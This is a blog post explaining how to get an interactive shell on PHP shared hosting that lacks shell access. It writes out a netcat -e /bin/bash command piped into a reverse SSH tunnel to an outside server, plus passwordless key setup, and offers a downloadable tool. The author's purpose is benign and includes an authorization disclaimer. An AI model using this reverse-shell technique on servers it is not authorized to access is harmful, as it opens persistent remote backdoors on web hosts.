How to get remote SSH shell access on some servers running PHP

I was trying to do an XML dump with MediaWiki for a friend, and the tools MediaWiki provides to do it requires shell access — which my friend does not have in his hosting package. So I tried using phpshell, but got annoyed that it would freeze anytime I executed something that required user input. After much thought, I devised a way to create an SSH shell using PHP (sorta) that I could use. Heres how you can do it too.

The Concept:

PHP can (usually) execute arbitrary executable files on the server that it resides on. If the executable forks, then it can open other programs or connect to remote resources, without hanging the PHP connection. I’ve written a program that does this, and executes a statement that connects to a remote SSH server, creates a tunnel to it, and opens a shell on that tunnel so that a user on the remote SSH server can connect to that port and use the shell. The statement looks like this:

netcat -l -p 20000 -s 127.0.0.1 -e "/bin/bash -i" | ssh -NR 20001:localhost:20000 username@hostname -o "StrictHostKeyChecking false" -i key_file_name

You can connect to this shell by doing a

netcat localhost 20001

on the remote SSH server. You need to setup an SSH key on both servers so that the authentication doesn’t ask you for a password at all (see below). Of course, if those programs don’t exist on the remote server then this wont work (however, I have included a compiled version of gnu-netcat with the program that you can use).

The Usage:

This code works, but is still mostly a ‘proof of concept’.

Requirements:

  • You must be able to upload files to the server and ensure they are executable (though, the software tries to set the executable bits if it is not the case)
  • You must be either able to compile files in a executable format that the server can execute, or you must be able to compile files on the server itself (in which case, you probably don’t need this program!).
  • The user that the webserver (or the php CGI script) is running as must be able to write to a file
  • You need an accessible SSH server setup somewhere that you can add user accounts to
  • Forwarding must be enabled (default: yes)
  • Public key authentication must be enabled (default: yes)
  • It needs to have netcat installed
  • I used Linux to set this up

Download the code: phpExec-0.1.tar.bz2

Setup
First, for security reasons, you need to set up a blank user account that has access to as little as possible on the remote SSH server. For example, setting up a user named ‘phony’ (you wont need the password):

useradd -m phony 
passwd phony 
(type some_ridiculous_password_for_phony, you wont need it)

Next, login or su to phony

ssh-keygen -t rsa

Output will look like this:

Generating public/private rsa key pair.

Enter file in which to save the key (/home/phony/.ssh/id_rsa): (this is fine)

Created directory '/home/phony/.ssh'.

Enter passphrase (empty for no passphrase): (hit enter)

Enter same passphrase again: (hit enter)

Your identification has been saved in /home/phony/.ssh/id_rsa.

Your public key has been saved in /home/phony/.ssh/id_rsa.pub.

The key fingerprint is:

12:34:56:78:90:12:34:56:78:90:12:34:56:78:90:12 phony@hostname

Then do these:

cp ~/.ssh/id_rsa.pub ~/.ssh/authorized_keys

chmod 600 ~/.ssh/*

I’m assuming at this point that you’ve downloaded my code package. If not, do so. Then, you need to modify phpexec.sh. Find the line that has system() in it, and change the username/hostname and ports to whatever you need it to be. Run Make. Upload .htaccess (for semi-security), your id_rsa file, phpexec, phpexec.php, phpexec.sh, and netcat (if needed) to the remote server, and then access the php page. This should connect to your remote SSH server, at which you can do

netcat localhost portnumber

and you will be using the remote shell! Be warned, at this time my solution does NOT kill the processes when you exit the shell, so you need to make sure that you kill them. Run ‘ps’ and then do ‘kill -9’ on phpexec and ssh, and that should work.

This is not a complete implementation. A more complete implementation would be way more configurable, and add other things to make life easier for the user. However, at the moment it seems to work for me. If you have questions, comments, or patches feel free to drop me a line! Thanks!

References:

DISCLAIMER: I am NOT responsible for your actions! This software has legitimate uses, but can also be used for illegitimate uses as well. I do not use this software on unauthorized servers, and neither should you. Do not use this on a server you are not authorized to use this on.

Additionally, this software is a HUGE security risk if incorrectly implemented and could potentially eat up a lot of resources on your server if you do not clean up after it properly. Use with caution, only for advanced users! If you don’t know what all of the terms in this document mean, you’re probably not advanced enough. You have been warned.

Leave a Reply